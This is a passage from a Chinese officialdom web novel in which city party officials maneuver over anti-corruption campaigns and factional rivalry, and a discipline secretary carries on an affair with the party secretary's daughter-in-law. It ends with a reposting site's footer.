王思宇微微一笑,摆手道:“视察不敢当,不过有时间,一定过去坐坐。”
两人客气了一番,就挂了电话,王思宇心里有数,田宏业刚才的举动,也不过是做做样子,给旁边的亲属看,事实上,他要想介入,早就有机会,但此人非常精明,没有冒那种风险,否则,就不是调离纪委那么简单的事情了。
两人不在一个单位,也就没有了冲突,现在的关系,就变得很容易相处了,这就是官场,许多矛盾,不在于某个人,而在于各自所处的位置,说白了,就是利益之争,权力之争。
王思宇把话筒放下,低头喝了口茶水,望着坐在沙上,面色阴晴不定的吴方舟,笑了笑,轻声道:“老吴,你的顾虑我明白,你是怕搞出冤假错案,怕有人借机诬陷你,对吧?”
吴方舟轻轻点头,神色凝重地道:“王书记,也不瞒你说,本来是不怕的,但自打从青云庵下来之后,我每天都在琢磨着妙可大师的提醒,总觉得要有不好的事情生,惶惶不可终日,怕是落了心病,而且,那边传来的消息,李老板的案子,应该是秦明君亲自在抓,你应该很清楚,在很多人眼里,我是李晨市长最重要的帮手,肯定有人恨得牙根直痒,欲除之而后快。”
“你啊,就信那些封建迷信的东西,不肯相信自己的同志,这点很不好,不像个知识分子。”王思宇哼了一声,打了个官腔,跷起二郎腿,悠荡了几下,瞄着愁眉不展的吴方舟,又笑了笑,语气轻松地道:“老吴,这样吧,你把详细情况都讲讲,我们两人呢,就算是进行一次谈话,只要你讲的是实情,我可以向你做出保证,在闵江市,没人能冤枉你。”
听到这番保证,吴方舟心里的一块大石头总算落了地,他赶忙走到办公桌前,把事情的来龙去脉都讲了一遍,王思宇认真地听着,不时地问,做着笔录,将材料都写好之后,又请吴方舟看了一遍,在上面签了字,这才连同相关票据一起装在档案袋里,拉开抽屉丢了进去,微笑道:“老吴,以后可要注意了,咱们这些人位置特殊,交友不慎会害死人的。”
吴方舟点点头,又聊了几句,就起身告辞,走到门口后,他转过身子,一脸神秘地道:“王书记,黄海潮好像也掌握到了一些证据,可能用不了多久,就会把郭辉书记的弟弟带走。”
王思宇微微一笑,点头道:“知道了,谢谢。”
两人会意地对了个眼神,吴方舟快步下了楼,向外走去,王思宇回到办公桌后,端着茶杯站在窗前,望着吴方舟离去的背影,笑了笑,淡淡地道:“本质还不错,可以保他过关。”


第六卷 棋盘上的飞刀 第47章 禁脔
市委书记的办公室里,鲍昌荣低头批阅文件,过了一会,他把签字笔丢下,喝了口茶水,又拿手揉了揉太阳穴,摸起办公桌上的座机,拨了个号码,轻声道:“高阳秘书长,请到这边来下。”
十几分钟后,鲁高阳敲门走了进来,拿手指了指墙上的表,微笑道:“书记,又要加班啊?”
鲍昌荣笑笑,摩挲着头发,声音低沉地道:“最近事情太多,心里有点烦,想和你聊聊。”
鲁高阳轻轻点头,走到沙发边坐下,摸出一根烟点上,皱着眉头吸了一口,嘴里喷出浓浓的烟雾,半晌,才微笑道:“书记,您今天的气色不太好,是不是昨晚没有休息好?”
鲍昌荣轻轻摇头,把茶杯放下,有些感慨地道:“早晨起来梳头的时候,又掉了一根白头发,现在真是觉得老了,上了年纪,很多事情,都有心无力了。”
鲁高阳摆摆手,笑着道:“可能是最近太操心了吧,忙完这阵子,好好休养一段时间就好了,在常委里面,您的身体还是很硬朗的,不该有这种消极的想法。”
鲍昌荣点点头,没有吭声,点了一根烟,狠抽了几口,才把身子仰坐在皮椅上,用手指不徐不疾地敲打着桌面,沉声道:“怎么样,这些日子,下面的反应如何?”
“不太好!”鲁高阳的眉头皱了起来,顿了顿,又斟酌着字句,试探着问道:“鲍书记,这样搞下去,会不会出乱子?”
鲍昌荣摆摆手,轻描淡写地道:“打黑是大快人心的大好事嘛,能出什么乱子呢?”
鲁高阳欲言又止,笑了笑,点头恭维道:“也是,大方向还是好的,虽然有些小问题,但也应该都在书记的掌握之中。”
鲍昌荣看了他一眼,微笑道:“老伙计,有什么话就直说嘛。”
鲁高阳眯着眼睛,慢吞吞地道:“黄海潮这次动作应该不小,据我估计,他那边之前就应该掌握到一些东西,借着这次打黑的机会,很可能会打出几张咱们意想不到的牌来,下面有些干部沉不住气了,打电话过来,拐弯抹角地提意见,劝咱们不要再搞下去了,免得弄到两败俱伤,不好收场。”
鲍昌荣哼了一声,拉过桌前的烟灰缸,轻轻掸了掸烟灰,有些不满地道:“屁股不干净,骨头就软,关键时刻靠不住,高阳啊,那些心虚的干部都是哪些人,你要记下来,就算他们这次没有出现问题,以后也要找机会调整,纯洁下队伍,省得变成*人家攻击我们的手榴弹。”
鲁高阳叹了口气,苦笑道:“都是您一手提拔起来的,只怕您舍不得。”
“舍不得也得舍!”鲍昌荣黑着脸站起来,端着杯子走到窗口,有些生气地道:“早就提醒过他们,立身要正,要经得起考验,有些人就是不听,到了重要岗位,马上就原形毕露,丁贵锦就是一个例子,当初拍着胸脯和我保证,绝不辜负我的期望,一定会把临山县的经济搞上去,结果临山县没搞起来,他们家倒发了洋财!”
鲁高阳皱了皱眉,没有接话,过了一会,等到鲍昌荣消了火,他才咳嗽了几声,踌躇道:“书记,咱们把动静搞得这么大,省委领导如果知道了,会不会有别的想法?”
鲍昌荣眺望着远处,半晌才‘嗯’了一声,沉吟道:“知道了也好,省委一直没有明确表态,这才让反对我的人成了气候。”
鲁高阳沉默下来,闷头抽了几口烟后,轻声道:“稳妥起见,抽时间,您应该跑趟省委,向文书记汇报一下闵江的情况,请省委主要领导出面,约束一下李晨。”
鲍昌荣摆摆手,喝了口茶水,语气低沉地道:“不要给文书记添麻烦了,他现在也很难,市里的问题,还是自己解决吧。”
“是啊,是啊。”鲁高阳轻声附和着,又像想起了什么,犹豫了下,仍忍不住提醒道:“书记,纪委那边最近的动作也很大,不是在火上浇油吧?”
鲍昌荣喝了口茶水,轻声道:“打黑也好,反腐也好,这些都是应该做的,也是老百姓最关心的问题,我们在这方面力度加强些,不会出什么问题的。”
鲁高阳笑笑,皱眉吸了口烟,有些无奈地道:“话虽然这样说,但风险还是太大,很容易被李晨那些人利用,毕竟公安口这边,黄海潮抓得很牢,秦明君暂时还没办法和他掰手腕……”
鲍昌荣叹了口气,回过身来,淡淡地道:“我担心的倒不是这些,而是两年的时间太短了,搞不好,会留下个烂摊子,画不出一个圆满的句号了。”
鲁高阳愣了一下,神色复杂地望着他,沉思道:“主要是掣肘太多了,放不开手脚。”
鲍昌荣摇了摇头,苦笑道:“高阳秘书长,和你讲些心里话,这些日子,我一直在反思,可能是以前太冒进,决策失误,才搞成现在的被动局面,闵江的经济发展不起来,我负有不可推卸的责任。”
鲁高阳笑了笑,把烟蒂丢在烟灰缸中,摆手道:“书记,那些都是集体决定,要说责任,大家都有,您也不要太自责,况且,新港区的情况还是很不错的嘛。”
鲍昌荣轻轻点头,坐回皮椅上,摇了摇,微笑道:“高阳啊,和你聊上几句,心情好多了。”
鲁高阳抬头看了看挂在墙上的石英钟,见已经到了下班时间,赶忙站了起来,笑呵呵地道:“书记,你也要注意身体,不要加班太晚,健康才是最重要的嘛。”
鲍昌荣微微一笑,伸手拿起一件翡翠摆件,似是随口问道:“高阳秘书长,你家老三还在新港华贸集团做事吧?”
鲁高阳目光一滞,忙笑着道:“是啊,他在那已经干两年了。”
鲍昌荣抬头看了他一眼,把摆件轻轻放下,微笑道:“没事,就是随便问问,有空带他到家里来坐坐。”
鲁高阳这才笑了起来,点头道:“一定,一定。”
他见鲍昌荣已经低头办文,就悄悄走了出去,来到外间,招招手,把杨光叫了出去,站在外面的走廊里,小心翼翼地道:“杨秘书,书记刚才忽然提到华贸集团了,有什么消息吗?”
杨光想了想,忽地一拍脑门,神秘兮兮地道:“想起来了,可能跟一封信有关,秘书长,您稍等,我去去就来。”
鲁高阳点点头,站在外面等了一会,就见杨光手里拿着一封牛皮纸信封,递了过来,他抽出信纸,定睛看去,脸色渐渐变得阴沉下来,过了半晌,才叹了口气,把信纸重新装了回去,递给杨光,阴沉着脸道:“那个不争气的孩子,居然背着我干了那么多的坏事!”
杨光微微一笑,善解人意地开导道:“秘书长,你也不用太生气,年轻人嘛,总会犯些错误的,及时改正就好。”
鲁高阳苦笑着摇了摇头,背着手踱了几步,半晌,才停了下来,压低声音道:“杨秘书,这样吧,等书记心情好的时候,你顺便提一句,就说我们家三儿要办出国留学了,过些日子就走,华贸集团的生意,他以后不会再管了。”
杨光会意地一笑,轻声道:“放心吧,秘书长,一定把话给您带到。”
“杨秘书,多谢了。”鲁高阳叹了口气,伸手在杨光的肩头用力拍了拍,转身离去。
杨光掂了掂手中的信,轻轻摇头,回到办公室,拉开抽屉,把信件放好,走到门口,探头向里张望,见鲍昌荣正握着电话,轻声说着什么,他便回到办公桌旁,继续打着发言稿。
十几分钟后,鲍昌荣把话机放下,伸了个懒腰,将办公桌上的文件收拾好,夹着公文包走了出来,站在杨光的面前,满面春风地道:“杨光,走吧,晚上陪我喝两盅。”
杨光赶忙关了文件,把电脑关掉,笑着道:“鲍书记,有什么好事了?”
鲍昌荣点点头,微笑道:“鲍鞠那小子终于想通了,过段时间就回来了。”
杨光微愕,随即笑道:“确实是好消息,他也是的,刚刚结婚没多久,就跑到国外去,也实在是有些过分。”
鲍昌荣哈哈一笑,点头道:“是啊,都是被他晓芬阿姨宠坏了,回来了好,省得总有人在背后造谣,说我把儿子安排到国外,充当人头账户。”
“那些都是别有用心的人,想通过中伤您,来达到不可告人的目的,他们是不会得逞的!”杨光脸上露出义愤填膺的表情,忿忿不平地道。
鲍昌荣满意地点点头,抬腕看了下表,向外努努嘴,微笑道:“走吧,回去得太晚,又要挨领导批评了!”
杨光嘿嘿地笑了起来,跟着鲍昌荣出了门。
下楼梯的时候,鲍昌荣忽地停下脚步,回头望了一眼,慈祥地道:“杨光啊,想不想到下面县里发展?”
杨光心里‘咯噔’一下,忙陪着笑脸道:“鲍书记,我想留在您身边,继续为您服务。”
鲍昌荣笑了笑,摆手道:“不成,时间久了,会耽误你个人的发展,还是应该到基层锻炼,争取早点独当一面。”
杨光心里稍稍安定了些,微笑道:“鲍书记,我听从您的安排。”
“那就这么定了。”鲍昌荣淡淡一笑,迈步走下楼梯。
杨光叹了口气,也快步跟了过去。
而此时,王思宇刚刚挂断电话,脸色变得极差,狠抽了几口烟,就把半截烟丢到烟灰缸里,用力按灭,也夹包离开了办公室,开着奥迪车来到市里的一家高档餐厅,进了包间之后,他摘下墨镜,望着站在窗边发呆的程琳,低声道:“琳琳,要是没有感情,趁早分开算了。”
程琳咯咯地笑了起来,转过身来,似笑非笑地望着王思宇,撅嘴嚷嚷道:“干嘛啊你,人家都说宁拆一座庙,不拆一门婚,你这做叔叔的倒好,居然挑拨我们小两口离婚,太不像话了,我要告诉公公,请他老人家来评评理!”
王思宇拉了椅子坐下,阴沉着脸道:“我可没心情开玩笑,总之你要想好了。”
程琳莞尔一笑,走到桌边坐下,歪着脑袋望着王思宇,有些娇憨地道:“怎么,王书记,爱上我了?”
王思宇翻了下白眼,轻声道:“爱不爱的先放一边,重要的是,你现在是我的女人。”
“那又怎么样?”程琳撇了撇嘴,不以为然地道。
王思宇哼了一声,摸起桌上的茶杯,轻轻吹了口气,淡淡地道:“不怎么样,只不过,除了我以外,任何人都不能碰你!”
程琳愕然,吃惊地望着王思宇,伸出芊芊玉指,点着他的脑门,饶有兴致地道:“王书记,你讲点道理好不好?鲍鞠可是我的丈夫,我们两个要是发生点什么,那可是天经地义的事情,是受法律保护的。”
王思宇笑了笑,把头转向一边,望着墙壁上微笑的蒙娜丽莎,目光变得锐利起来,轻声道:“真要那样,不光是他,就连他老子都要跟着倒霉。”
程琳秀眉微蹙,笑嘻嘻地道:“不会吧,他老子可是一把手,你能奈何得了?”
王思宇淡淡一笑,语气凝重地道:“给我半年时间,就能把他拉下来,要不要再打个赌?”
程琳呆了一呆,双手捧腮,怔怔地望着王思宇,好奇地道:“叔叔,你该不是认真的吧?”
王思宇轻轻点头,喝了口茶水,把玩着手中的杯子,微笑道:“当然是认真的,这叫冲冠一怒为红颜!”
程琳撇了撇嘴,白了他一眼,歪着脑袋道:“就没见过像你这样的人,抢了别人的老婆,还这么理直气壮的,王书记,佩服,佩服!”


第六卷 棋盘上的飞刀 第48章 吃醋
王思宇嘿嘿地笑了起来,却没有吭声,这时,一阵清脆的敲门声响起,两人赶忙各自戴上墨镜,服务员走进包间,把酒菜上齐,小心翼翼地退了出去,随手把房门轻轻带上。
程琳叹了口气,摘下墨镜,幽幽地道:“跟你出门压力真的很大,唯恐成为绯闻中的女主角,叔叔,我现在有点怀念你当出租车司机的日子了。”
王思宇也有些无奈地笑笑,把墨镜丢在一盘,摸起筷子,夹了绿油油的青菜,送到程琳的嘴里,轻声道:“琳琳,只要你肯选择离开鲍家,我们就不必这样偷偷摸摸的了。”
程琳吃了菜,抽出餐巾纸抹了抹嘴角,摇头道:“不行,别逼我,人家现在还没想好呢?”
王思宇有些气馁,打开一瓶啤酒,仰头喝了几口,苦笑道:“琳琳,我刚才可不是在说笑,你要慎重考虑。”
程琳低下头来,摆弄着筷子,悄声道:“叔叔,你不要急,我知道该怎么做呢,只是现在还不行。”
王思宇点了一根烟,皱眉抽着,半晌,才轻声道:“那你想怎么办呢?”
程琳挠了挠头,嘻嘻笑道:“我早就想好了,过段时间,要出去学习呢。”
王思宇微微一怔,摇头道:“不行,逃避不是办法。”
程琳却撅起嘴巴,白了他一眼,一本正经地道:“哪个在逃避了,我是真想出去充电,趁着年轻,多学些有用的东西。”
王思宇皱了皱眉,目不转睛地望着她,轻声道:“去哪里?”
“英国金史密斯学院,进修媒体与社会学!”程琳淡淡地一笑,双手捧腮,歪着脑袋观察着王思宇的表现。
王思宇有些吃惊地望着她,过了半晌,才又皱眉吸了口烟,摸起啤酒,闷闷不乐地喝了起来。
程琳‘扑哧’一笑,伸手抢过他手里的酒瓶,抿嘴道:“干嘛啊,两年就回来了,瞧你难过的样子,好像我要一去不回似的。”
王思宇笑笑,轻声叹了口气,摇头道:“出国两年啊,时间也不短了,到时也不知我在不在华西了。”
程琳却无所谓地撇撇嘴,摸起筷子,轻轻地敲打着桌子,懒洋洋地道:“无所谓了,如果两年以后,我发现还是很依恋你,无论你在哪,我都会去找你,只是,你要管住自己的老婆,可别让她撒泼,把我赶出去。”
“那不能,你尽管放心。”王思宇眼睛一亮,忙拉过程琳的胳膊,胸有成竹地道。
程琳眯了眼睛,瞅了瞅王思宇,凶巴巴地道:“老实交代,你到底有几个情人?”
王思宇把头摇成了波浪鼓,连声道:“没有,一个都没有,作为纪委书记,我一向严格要求自己,不贪财不好色,这可是最基本的底线……”
程琳哼了一声,翻着白眼道:“叔叔,到底有几个,要讲实话,不许骗我!”
王思宇挠了挠头,讪讪地笑着,过了半晌,摸起筷子,夹了口菜,轻声道:“不多!”
“不多是多少?”程琳盯着他,刨根问底地追问道。
王思宇斜眼瞄去,见小妖精面色不善,醋瓶子怕是立时就要倒了,赶忙矢口否认道:“不多的意思,就是只有你一个嘛!”
程琳却是不信,撅了嘴巴,拿手在他额头上点了点,没好气地道:“你啊,没一句实话。”
“没有,是你太多心了。”王思宇赶忙低声哄了一会,程琳才吃吃地笑了起来,拉开椅子站起来,走到王思宇的身前,坐进他的怀里,撒娇般地道:“叔叔,喂我吃菜!”
王思宇心中一荡,忙夹了菜,送进她的小嘴里,嗅着鼻端淡淡的幽香,乐得有些何不拢嘴,只是想到这小妖精很快就要出国,他的心情又有些低落。
两人腻了许久,程琳才扬起脖子,把娇艳欲滴的嘴唇凑到王思宇的耳边,悄声道:“叔叔,外面现在都在传,公公和李晨市长不和,两人斗得很凶,早晚会走一个,是这样的吗?”
王思宇收起笑容,表情凝重地点点头,皱眉道:“他们之间的矛盾,恐怕确实很难调和了,如果再互相拆台,影响到了闵江的发展,上面应该会有所考虑。”
程琳微微一笑,伸出白皙的手指,摸着王思宇的耳垂,好奇地道:“谁动的可能性大些?”
王思宇夹了口菜,放下筷子,沉吟道:“不好讲,变数很大,要看省委大佬协调的结果,不到最后一刻,谁都吃不准。”
程琳闭了眼睛,摸着王思宇的胸膛,悄声道:“可现在外面都在传,你是书记一派的人,到时若是公公被排挤走了,李晨当了市委书记,他怕是要秋后算账,来找你的麻烦了。”
王思宇笑了笑,抱着程琳的纤腰,轻声道:“琳琳,不用担心,我能应付得来。”
程琳却叹了口气,拨开王思宇的手,回到座位上,双手捧腮,淡淡地道:“能答应我一件事情吗?”
王思宇微微一笑,轻声道:“说说看。”
“你先答应我嘛!”程琳跺了跺脚,又开始撒娇,眼波流转间,娇俏可人。
王思宇怦然心动,微笑道:“好吧,我答应了。”
程琳低下头,拨弄着透明的玻璃杯,轻声道:“要是公公被排挤走,他的秘书可能也会受到影响,日子不会太好过,到时候,希望你能出面,帮他一把。”
王思宇愣住了,良久,才摸着鼻子笑笑,轻声道:“程琳,你心里那个人,原来是杨光啊?”
程琳眼中闪过一丝痛楚之色,轻轻点头道:“其实,我和杨光是从小一起长大的,一直以来,他都对我很好,像是对妹妹一样,我大学毕业后,更是经常腻在一起,本来,也都谈婚论嫁了,可后来鲍鞠出现了。”
王思宇微微皱眉,不解地道:“既然你们两人真心相爱,那为什么你又嫁给了鲍鞠?”
程琳眼圈一红,有些委屈地道:“还不都怪他,鲍鞠追求我的时候,他就变了,总是退让,我气不过,就故意在他面前,和鲍鞠说了几句亲热话,可后来,他更加疏远我了。”
王思宇笑了笑,轻声道:“那是很正常的反应,你要真心喜欢他,就不能用这种花招,那样只会使事情变得更糟。”
程琳点点头,幽幽地道:“而且,有一次,我去杨光哪里,推开房门时,居然看到他和陌生女人躺在床上,当时也是气昏了头,醋劲发作,和他大吵了一架,就答应了鲍鞠,本想气气杨光,没想到,他竟然没当回事,仍然不理不睬的,我一时火大,索性假戏真做,把自己给嫁了。”
王思宇愕然半晌,才笑了笑,摇头道:“你啊,也太孩子气了,婚姻是人生大事,哪能由着性子胡来!”
程琳也叹了口气,轻声道:“是了,后来,我也觉得自己特别傻,就后悔了,每天都防着鲍鞠,跟防贼一样,他肯定是伤心了,这才跑掉了。”
王思宇皱了皱眉,试探着问道:“琳琳,你对鲍鞠一点感觉都没有吗?”
程琳抓了抓头发,有些无奈地道:“也不是,其实那人还是不错的,只不过,他太娘了些,我不喜欢呢!”
“太娘了?”王思宇有些疑惑地瞅瞅她,皱眉道:“你的意思,他有点娘娘腔?”
程琳‘扑哧’一声笑了出来,顽皮地眨眨眼,轻声道:“就是,据说,他小的时候,长得太秀气了,晓芬阿姨就把他打扮得像女孩子一样,鲍鞠也很喜欢呢,上幼儿园的时候,还有次穿了裙子去,结果被小朋友们嘲笑,还哭了鼻子。”
王思宇怔了怔,眯着眼睛,压低声音道:“他该不是那个吧?”
“哪个?”程琳有些不解地问道。
王思宇脸上露出暧昧的笑容,悄声道:“就是喜欢同性那种,!”
程琳翻了下白眼,气呼呼地道:“别胡说,他还不至于到那种地步,只是性子软了点而已。”
王思宇微微一笑,摸出烟来,点上后,皱眉吸了一口,吐着烟圈,慢悠悠地道:“琳琳,坦白说,你现在还喜欢杨光吗?”
程琳撇了撇嘴,无精打采地趴在餐桌边,望着精致的菜肴,却没了食欲,喃喃地道:“叔叔,这也是我在问自己的问题。”
“那就是喜欢了。”王思宇心里泛酸,嘴里也有些发苦,狠抽了一口烟,就摸起半瓶啤酒,又喝了起来。
程琳抿嘴一笑,淡淡地道:“也不是了,前段时间,我甚至很恨他,总想找些麻烦,让他头痛,只不过,你出现之后,我忽然又恨不起来了。”
王思宇把玩着酒瓶,有些无奈地道:“那就不要走了嘛。”
程琳却轻轻摇头,怅然道:“我不想在欲望的泥沼中愈陷愈深,趁着清醒,还是应该找个安静的角落,好好整理下自己的生活,要是有缘分,我们终归还是能够在一起的。”
王思宇默然,沉思良久,才点点头,微笑道:“先出去散散心也好,想通了再回来也不迟。”
程琳笑着点了点头,摸出手机,翻了刚刚收到的短信,忙起身道:“叔叔,我要早点回去了,再过一会,公公和晓芬阿姨要到家里来,估计又要做我的思想工作了,真是头痛。”
“一起走吧。”王思宇叹了口气,戴上墨镜,陪着她下了楼。
两人在门口分手,王思宇有些闷闷不乐地坐上奥迪车,开车返回闵江宾馆。
去了斜对门,梁桂芝和周媛正在讨论着发展旅游业的规划,这段时间以来,梁桂芝的心思都放在这方面,她卯足了劲头,要把旅游产业发展起来。
见王思宇回来了,梁桂芝忙把拟好的方案递过来,笑着道:“王书记,你回来的正好,帮着参谋一下,给点意见。”
王思宇兴致不高,接过材料后,坐在沙发上,心不在焉地把材料看了一遍,就轻轻放下,淡淡地道:“还好,只是要想做大旅游业,还是要加强文化含量,自然景观再好,景区建得再漂亮,如果没有文化底蕴,也只会徒有其表,失去了灵魂,很难吸引到游客。”
梁桂芝瞟了他一眼,轻声道:“还有呢?”
王思宇想了想,又随口道:“这份材料看着有拼凑的嫌疑,盲目求大求全,没有找准地方特色,可能是秀才们突击搞出来的,建议你们还是应该组团到外地看看,实地考察一下,比如江南省,那里是旅游大省,有非常成熟的运作经验,我们闭门造车搞出来的东西,肯定还是不成的。”
梁桂芝扶了扶眼镜,神色不悦地道:“还有什么问题?”
王思宇继续道:“现在旅游这块,多头管理、各自为政的现象比较严重,你们最好成立一个单独的部门运作,进行统筹规划,不然效率低下,很难搞出成绩来。”
梁桂芝叹了口气,瞄了周媛一眼,微笑道:“他今儿是怎么了,说话跟挤牙膏一样费劲,还总泼冷水,把我们这边辛辛苦苦搞出来的材料,贬得一无是处,真是很过分啊。”
“可能失恋了吧?”周媛淡淡地说了一句,起身去了浴室。
王思宇摸着鼻子笑了起来,摇头道:“哪有的事情,不过是感觉有些累了。”
“砰!”
浴室的房门被重重地关上,王思宇倒吓了一跳,赶忙转头望向梁桂芝,不解地道:“梁姐,媛媛老师怎么了?”
梁桂芝哼了一声,摸着材料站起来,走到王思宇身前,拿着手指戳了戳他的脑门,小声道:“别装糊涂,你这些日子,总是夜不归宿,媛媛能没有想法吗?”
王思宇愣住了,半晌,才用手指着浴室的房门,瞠目结舌地道:“梁姐,你的意思,她吃醋了?”




若本站收录的文章侵犯了您的权益,请联系我们删除侵权内容!

警告:本站立足于美利坚合众国並遵守美利坚法律服务于海外华人,谢绝中国大陆地区访问!
如您未满十八岁或当地法律不允许之年龄、亦或者您对本站内容反感,请自觉离开本站!
寻艳回首 :https://xunyanhs.github.io
聯絡: [email protected]